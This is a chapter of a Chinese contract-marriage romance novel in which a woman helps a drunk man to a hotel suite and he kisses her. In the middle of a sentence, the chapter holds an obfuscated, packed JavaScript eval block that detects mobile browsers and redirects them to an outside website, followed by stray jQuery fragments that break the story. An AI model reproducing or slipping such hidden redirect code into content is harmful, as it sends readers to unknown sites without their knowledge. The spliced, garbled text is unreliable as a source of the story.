23. 第二十三章

作品:《合约婚姻失效中

    包厢里的喧闹随着那群“损友”的迅速撤离瞬间散了,郑攸宁对着瘫在沙发上的涂颂新叹气。


    男人长手长脚地占了大半个沙发,领带松垮地挂在颈间,头微微后仰,靠在沙发靠背上,双眼紧闭,紧抿的薄唇和即便在睡梦中也未完全舒展的眉头,依旧透着股生人勿近的气场。


    郑攸宁暗自腹议,哪怕醉了,也没半点好伺候的样子。


    她走到涂颂新身边,轻轻推了推他的肩膀:“哎,醒醒,该回去了。”


    涂颂新闻言“嗯”了一声,却没有更多动作,连眼皮都没有抬一下。


    郑攸宁深吸一口气,抓住他的手臂试图将他架起来。然而他个子太高,身形又挺拔结实,她使足了力气,他也只是被她带得微微前倾,大部分重量压在她纤细的胳膊和肩膀上,让她脚步一个踉跄,差点一起栽回沙发里。


    “真是太重了。”她抱怨了一句,调整了一下姿势,脸颊因为用力而微微泛红,呼吸也急促了些。


    就在她准备再次发力时,涂颂新像是被惊扰了睡梦,手臂一收,竟将她整个人带进了怀里。


    郑攸宁猝不及防地跌坐在沙发上,涂颂新将头枕在她肩上,手臂环住她的腰身,像是把她当成了人形抱枕。


    “涂颂新!”她气恼地推他。这人是真的醉糊涂了,连站都站不稳,抱人的力气倒是半分不减。


    这时,包厢门被轻轻敲响,随即推开。一个服务生探身进来:“您好,宋先生吩咐我送…”她的话戛然而止,“对、对不起!打扰了!”服务生慌忙低下头,转身就要退出去。


    从她的角度看过去,画面实在有些暧昧,沙发上高大的男人几乎整个人都趴在纤细的女子身上,头埋在她颈窝处,手臂还紧紧环着她的腰,姿态亲昵无比。


    郑攸宁从涂颂新的胳膊中探出个头,急忙喊道:“等等!别走!”


    服务生脚步顿住,却不敢回头:“小姐…是宋先生让我来送套房房卡的。”


    郑攸宁像看到了救星,“妹妹,麻烦你,帮我一起把他扶到房间去,我一个人实在弄不动他。他醉了。”


    “哦,好的!”服务生这才转过身,微笑着点头上前。然而,就在服务生的手即将碰到涂颂新的手臂时,原本闭着眼的男人却忽然动了,他手臂一抬,精准地避开了服务生的触碰,“走开!别碰我!”


    这突如其来的低斥,带着惯有的上位者气势,哪怕在醉中也威慑力十足。小姑娘吓得浑身一颤,猛地缩回手,站在原地不敢向前。


    郑攸宁啧了一声:“你凶什么!声音小点!吓到人家了!”说完,郑攸宁意识到自己的声音比他的声音还大,忙放缓声音对服务生解释,“对不起啊,他喝多了,不是故意的,你别怕。”


    涂颂新被她这么一吼,也睁开了眼睛,他低了下头,找到郑攸宁的脸,对着她嘟囔了一句,“你扶我。”


    说着,他还调整了一下姿势,郑攸宁被他牢牢锁在身前,动弹不得,只勉强露出一个脑袋。


    她看着眼前不知所措的服务生,也有些尴尬:“算了,没事了,房卡给我吧,我自己想办法。辛苦你跑一趟了。”


    “好的。”小姑娘如蒙大赦,赶紧把房卡塞到郑攸宁手里,“小姐,这是涂先生长期预留的套房房卡,在顶楼,电梯出门右转即是。如有任何需要,请随时拨打服务电话。”说完,她逃也似的离开了包厢。


    门再次关上。


    郑攸宁低头,看着紧紧环在自己腰间的手臂,感受着背后传来的坚实胸膛和灼热体温,“涂颂新,起来。”她气得连名带姓的叫他,可不管她怎么说,身后的男人就是赖着不动。


    郑攸宁无奈,只好矮下身子,废了一番力气,从他手臂的禁锢中钻了出来。


    她站在一旁平复了下呼吸,这才重新上前,半拖半架地把这个大型挂件从沙发上弄起来。


    从包厢到电梯这段路走得格外艰难。男人几乎把全身重量都压在她身上,郑攸宁咬紧牙关,纤细的手臂被勒得生疼。


    好不容易把人弄进套房,她想把涂颂新往床上放,不想脚下被地毯边缘一绊,一个踉跄,两人双双摔倒在厚厚的地毯上。


    “啊!”郑攸宁下意识抓紧他的衣襟。想象中的疼痛并未到来,涂颂新竟在醉意朦胧中本能地将她往怀里一带。郑攸宁整个人结结实实地摔在了他身上,将他当作了人肉垫子。


    “嗯。”涂颂新在落地时发出一声闷哼,眉头紧紧皱起。


    郑攸宁慌忙从他身边爬起来,跪坐在一旁,心虚地检查他的状况。借着床头灯的暖光,她看见他的左额角在床框上磕出了一道明显的红痕,手肘处也微微发红。


    也许是摔这一下让他清醒了几分,涂颂新缓缓睁开眼,醉意朦胧的眸子直直望向她。四目相对的瞬间,郑攸宁的心跳漏了一拍。


    “郑攸宁…”他低声唤她的名字,声音沙哑得厉害。


    “嗯。”她下意识应道,“醒了?”


    他却不再说话,只是深深看了她一眼,然后又闭上眼睛,翻了个身,蜷在地毯上睡着了。


    “哎?起来,别在地上睡啊。”郑攸宁拽了拽他的手臂,男人纹丝不动。她累得浑身发软,手腕还在发疼,刚才从包厢把他弄上来已经耗尽了所有力气,看着这个赖在地上的男人,她连生气的力气都没有了。


    她索性也一屁股坐在了地毯上,背靠着床沿,微微喘着气。暖黄的灯光下,他额角那道新鲜的红痕格外清晰,手肘处的布料也蹭得有些灰。


    “涂颂新,我可真是仁至义尽了。”她对着毫无反应的男人低声说,“把你从楼下弄上来,差点没把我累死。现在你自己要睡地上,我也没辙了。”


    她的目光落在他额角的红痕上,想象着他明天顶着一块淤青出现在公司时,那些下属们会是什么表情,忍不住扯了扯嘴角,极轻地笑了一下。


    “活该。”她最后总结道,然后撑着发软


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432665|184021||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的双腿站了起来,转身朝门口走去。


    手搭在门把手上,脚步却莫名顿住,房间里安静得只剩下他平稳的呼吸声。郑攸宁犹豫了两秒,还是忍不住回头,地毯上的人蜷成一团,看着竟有点可怜。


    几秒后,她还是认命地转过身,重新走回他身边。


    “真是疯了。”她低声骂了句,蹲在他身边,“最后一次啊涂颂新。”


    她连拖带拽,终于成功将他从地毯上挪到了床上,还好心地拉了被子扔在他的身上。


    “搞定。”她拍了拍手,转身就想走,手腕却突然被攥住,将她猛地向前一拉。


    “啊!”郑攸宁惊呼一声,整个人不受控制地摔在床上,下一秒,一具滚烫沉重的身躯便覆了上来。


    她惊恐地抬眼,正撞上涂颂新不知何时睁开的眼眸里。


    她被他压在身下,大脑有些宕机,她想让他放开她,开口却是一句,“你醒了?”


    涂颂新却并未理她,他的脸在她眼前放大,下一秒,他的唇印在了她的唇上。这个亲吻毫无技巧可言,只是单纯的嘴唇相贴,停留的时间却长得让郑攸宁的大脑彻底空白。她能清晰地感受到他灼热的呼吸,听到自己如擂鼓般的心跳,甚至能看见他轻轻颤动的睫毛。


    直到他抬起头,用鼻尖轻轻蹭了蹭她的脸颊,郑攸宁才猛地回过神来,脸颊瞬间烧起来。


    短暂的呆滞后,一股被冒犯的羞恼瞬间冲上头顶,她的初吻,竟然就这样在对方神志不清的情况下被夺走了。他把她当成什么了?当成他在外面那些可以随意轻薄的女人了吗?


    “涂颂新!你放开我!”她又气又恼,甚至有些想哭,她开始奋力挣扎,手抵着他的胸膛用力推拒,“你看清楚我是谁!”


    涂颂新被她的挣扎弄的有些不舒服,听到她的话,醉眼朦胧地打量着她,他的目光涣散,却格外专注:“宁宁。”


    “什么?”这个称呼太过亲密,太过陌生,让她一时忘了反应,这个世上会这么唤她的人,都已经不在了,她不确定他是在叫她,还是她听错了。


    就在她愣神的瞬间,他又稍稍抬起头,迷蒙的眼睛努力对焦看着她,这次清晰地唤出了她的全名:“郑攸宁。”


    没等她回应,他抬手抚了抚她微红的眼角,“乖,别哭。”


    郑攸宁的理智在这一刻彻底瓦解。


    她明明没有哭,甚至强忍着怒意,可他就是有本事让她方寸大乱。初吻被夺走的委屈,被他轻慢对待的愤怒,还有这个亲昵的称呼,种种情绪交织在一起。


    更让她心惊的是,她的心里竟有一些陌生的悸动。这个认知让恐慌到无所适从。


    “你......”她张了张嘴,却发现自己声音哽咽,不能再待下去了,一刻也不能。


    她猛地用力将他从身上推开,快速爬下床,头也不回地冲出了房间。


    “砰”的一声巨响在走廊回荡,如同她此刻兵荒马乱的心跳。